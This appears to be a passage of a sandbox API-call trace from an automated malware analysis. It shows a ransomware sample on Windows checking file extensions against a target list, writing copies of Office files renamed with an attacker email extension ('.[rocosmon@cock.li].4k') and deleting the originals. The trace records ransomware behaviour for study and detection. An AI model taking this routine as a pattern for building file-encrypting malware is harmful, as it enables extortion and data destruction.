	[0098.294] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.294] ReadFile (in: hFile=0x1e4, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.524] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.524] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0098.548] SetEndOfFile (hFile=0x1e4) returned 1
	[0098.548] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f802b8
	[0098.551] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.551] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.552] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.552] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.554] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.554] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.556] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0098.556] CloseHandle (hObject=0x1e4) returned 1
	[0098.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0098.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.848] lstrlenW (lpString=".doc") returned 4
	[0098.848] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0098.848] lstrlenW (lpString=".docx") returned 5
	[0098.848] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1
	[0098.848] lstrlenW (lpString=".pdf") returned 4
	[0098.848] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0098.848] lstrlenW (lpString=".xls") returned 4
	[0098.848] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0098.848] lstrlenW (lpString=".xlsx") returned 5
	[0098.848] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1
	[0098.848] lstrlenW (lpString=".ppt") returned 4
	[0098.848] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0098.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.848] lstrlenW (lpString=".zip") returned 4
	[0098.848] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0098.848] lstrlenW (lpString=".rar") returned 4
	[0098.848] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0098.849] lstrlenW (lpString=".bz2") returned 4
	[0098.849] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0098.849] lstrlenW (lpString=".7z") returned 3
	[0098.849] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0098.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.849] lstrlenW (lpString=".dbf") returned 4
	[0098.849] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0098.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.849] lstrlenW (lpString=".1cd") returned 4
	[0098.849] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0098.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.849] lstrlenW (lpString=".jpg") returned 4
	[0098.849] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0098.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.849] lstrlenW (lpString=".doc") returned 4
	[0098.849] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0098.849] lstrlenW (lpString=".docx") returned 5
	[0098.849] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1
	[0098.849] lstrlenW (lpString=".pdf") returned 4
	[0098.849] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0098.849] lstrlenW (lpString=".xls") returned 4
	[0098.849] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0098.849] lstrlenW (lpString=".xlsx") returned 5
	[0098.849] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1
	[0098.850] lstrlenW (lpString=".ppt") returned 4
	[0098.850] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0098.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.850] lstrlenW (lpString=".zip") returned 4
	[0098.850] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0098.850] lstrlenW (lpString=".rar") returned 4
	[0098.850] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0098.850] lstrlenW (lpString=".bz2") returned 4
	[0098.850] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0098.850] lstrlenW (lpString=".7z") returned 3
	[0098.850] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0098.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.850] lstrlenW (lpString=".dbf") returned 4
	[0098.850] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0098.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.850] lstrlenW (lpString=".1cd") returned 4
	[0098.850] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0098.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0098.850] lstrlenW (lpString=".jpg") returned 4
	[0098.850] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0098.850] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0098.850] lstrlenW (lpString="ExcelMUI.XML") returned 12
	[0098.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0098.851] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1565) returned 1
	[0098.851] CloseHandle (hObject=0x1e4) returned 1
	[0098.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20
	[0098.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0098.851] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.851] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0098.852] GetLastError () returned 0x0
	[0098.852] ReadFile (in: hFile=0x1e4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x61d, lpOverlapped=0x0) returned 1
	[0098.866] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x620, lpOverlapped=0x0) returned 1
	[0098.867] ReadFile (in: hFile=0x1e4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0098.867] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0098.867] SetEndOfFile (hFile=0x1e0) returned 1
	[0098.868] CloseHandle (hObject=0x1e0) returned 1
	[0098.871] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.871] SetEndOfFile (hFile=0x1e4) returned 1
	[0098.872] CloseHandle (hObject=0x1e4) returned 1
	[0098.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0098.873] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1
	[0098.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.873] lstrlenW (lpString=".doc") returned 4
	[0098.873] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0098.873] lstrlenW (lpString=".docx") returned 5
	[0098.874] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0098.874] lstrlenW (lpString=".pdf") returned 4
	[0098.874] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0098.874] lstrlenW (lpString=".xls") returned 4
	[0098.874] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0098.874] lstrlenW (lpString=".xlsx") returned 5
	[0098.874] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0098.874] lstrlenW (lpString=".ppt") returned 4
	[0098.874] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0098.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.874] lstrlenW (lpString=".zip") returned 4
	[0098.874] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0098.874] lstrlenW (lpString=".rar") returned 4
	[0098.874] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0098.874] lstrlenW (lpString=".bz2") returned 4
	[0098.874] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0098.874] lstrlenW (lpString=".7z") returned 3
	[0098.874] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0098.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.875] lstrlenW (lpString=".dbf") returned 4
	[0098.875] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0098.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.875] lstrlenW (lpString=".1cd") returned 4
	[0098.875] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0098.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.875] lstrlenW (lpString=".jpg") returned 4
	[0098.875] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0098.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.875] lstrlenW (lpString=".doc") returned 4
	[0098.875] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0098.875] lstrlenW (lpString=".docx") returned 5
	[0098.875] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0098.875] lstrlenW (lpString=".pdf") returned 4
	[0098.876] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0098.876] lstrlenW (lpString=".xls") returned 4
	[0098.876] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0098.876] lstrlenW (lpString=".xlsx") returned 5
	[0098.876] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0098.876] lstrlenW (lpString=".ppt") returned 4
	[0098.876] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0098.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.876] lstrlenW (lpString=".zip") returned 4
	[0098.876] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0098.876] lstrlenW (lpString=".rar") returned 4
	[0098.876] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0098.876] lstrlenW (lpString=".bz2") returned 4
	[0098.876] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0098.876] lstrlenW (lpString=".7z") returned 3
	[0098.876] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0098.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.876] lstrlenW (lpString=".dbf") returned 4
	[0098.877] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0098.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.877] lstrlenW (lpString=".1cd") returned 4
	[0098.877] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0098.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0098.877] lstrlenW (lpString=".jpg") returned 4
	[0098.877] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0098.877] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0098.877] lstrlenW (lpString="SETUP.XML") returned 9
	[0098.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0098.878] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2296) returned 1
	[0098.878] CloseHandle (hObject=0x1e4) returned 1
	[0098.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20
	[0098.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0098.879] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.879] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0098.951] GetLastError () returned 0x0
	[0098.951] ReadFile (in: hFile=0x1e4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x8f8, lpOverlapped=0x0) returned 1
	[0098.973] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x900, lpOverlapped=0x0) returned 1
	[0098.974] ReadFile (in: hFile=0x1e4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0098.974] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0098.974] SetEndOfFile (hFile=0x1e0) returned 1
	[0098.975] CloseHandle (hObject=0x1e0) returned 1
	[0098.975] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.975] SetEndOfFile (hFile=0x1e4) returned 1
	[0098.976] CloseHandle (hObject=0x1e4) returned 1
	[0098.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0098.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1
	[0098.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.976] lstrlenW (lpString=".doc") returned 4
	[0098.976] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0098.976] lstrlenW (lpString=".docx") returned 5
	[0098.977] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0098.977] lstrlenW (lpString=".pdf") returned 4
	[0098.977] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString=".xls") returned 4
	[0098.977] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString=".xlsx") returned 5
	[0098.977] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0098.977] lstrlenW (lpString=".ppt") returned 4
	[0098.977] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.977] lstrlenW (lpString=".zip") returned 4
	[0098.977] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0098.977] lstrlenW (lpString=".rar") returned 4
	[0098.977] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString=".bz2") returned 4
	[0098.977] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString=".7z") returned 3
	[0098.977] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0098.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.977] lstrlenW (lpString=".dbf") returned 4
	[0098.977] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.977] lstrlenW (lpString=".1cd") returned 4
	[0098.977] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0098.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.977] lstrlenW (lpString=".jpg") returned 4
	[0098.977] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.978] lstrlenW (lpString=".doc") returned 4
	[0098.978] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString=".docx") returned 5
	[0098.978] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0098.978] lstrlenW (lpString=".pdf") returned 4
	[0098.978] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString=".xls") returned 4
	[0098.978] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString=".xlsx") returned 5
	[0098.978] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0098.978] lstrlenW (lpString=".ppt") returned 4
	[0098.978] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.978] lstrlenW (lpString=".zip") returned 4
	[0098.978] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0098.978] lstrlenW (lpString=".rar") returned 4
	[0098.978] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString=".bz2") returned 4
	[0098.978] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString=".7z") returned 3
	[0098.978] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0098.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.978] lstrlenW (lpString=".dbf") returned 4
	[0098.978] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0098.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.978] lstrlenW (lpString=".1cd") returned 4
	[0098.978] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0098.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101
	[0098.979] lstrlenW (lpString=".jpg") returned 4
	[0098.979] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0098.979] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0098.979] lstrlenW (lpString="SETUP.XML") returned 9
